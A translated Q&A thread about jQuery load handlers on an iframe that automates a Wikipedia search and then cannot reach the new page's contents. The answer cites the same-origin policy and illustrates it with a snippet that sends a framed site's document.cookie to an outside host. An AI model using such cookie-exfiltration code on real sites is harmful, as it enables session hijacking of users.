iframe上的事件“加载”成功触发,但无法定位iframe

时间:2019-05-20 03:28:31

标签: javascript jquery events iframe nested

我已经成功创建了一个包含CSV数组的代码段,并通过IFRAME将文本拖放到Wikipedia的搜索栏中,然后单击搜索按钮。不幸的是,加载后,我无法再定位IFRAME的内容。我还嵌套了两个加载事件处理程序,以等待每个页面完成加载。

我在触发后将处理程序设置为取消绑定/关闭,这似乎可以防止触发“重复事件”。我尝试了几种策略来确定事件处理程序是否在正确的时间与更改目标ID一起触发,但不确定此时还可以尝试什么。我怀疑第二个事件处理程序正在上一页中触发,因为它已经触发了就绪,但“追加”似乎按预期工作。

$("#debugwindow").append("pre<br>");
$("#iframeTarget").on("load", function() {
    $("#iframeTarget").unbind();
    $("#iframeTarget").off();
    $("#iframeTarget").attr("id","iframeTarget2");

    $("#debugwindow").append("start interior of 1<br>");

    $("#iframeTarget2").on("load", function() {
        $("#iframeTarget2").unbind();
        $("#iframeTarget2").off();
        $("#iframeTarget2").attr("id","iframeTarget3");

        $("#debugwindow").append("start interior of 2<br>");

        $("#iframeTarget3").contents().find("#searchInput").val("I don't work?"); // 3 fails?
        $("#iframeTarget,#iframeTarget2,#iframeTarget3").html("even I don't do anything!"); // fails?
        // $("#iframecont").html("I ruin everything!"); // targets iframe container as test

        $("#debugwindow").append("end interior of 2<br>");
    });

    $(this).contents().find("#searchInput").val("3M"); // 1 successfully fills search
    $(this).contents().find("#searchButton").trigger("click"); // 2 successfully triggers button, changes URL to 3M page

    $("#debugwindow").append("end interior of 1<br>");
});
$("#debugwindow").append("post<br>");

寻找有关正确设置2个事件处理程序的任何见解,或者我的逻辑错误。理想情况下,我将能够填充搜索栏,触发搜索,然后在下一个加载的页面上操作DOM。

1 个答案:

答案 0 :(得分:1)

这是因为浏览器中的安全问题。您将无法在javascript iframe中执行任何脚本,因为如果您能够在远程iframe内执行javascript代码,则存在极大的风险。

例如:

<iframe src="http://website.to.hack"></iframe>

$(iframe).load(() => {
    $.ajax({
        url: 'http://my.website',
        data: iframe.document.cookie
    });
});

现在,我拥有了该网站的所有cookie。除非该框架在您的网站和它之间具有特定的信任,否则您将无法编写脚本。 (您可能需要使用chrome扩展名。)

有关更多信息,请参见this post和线程。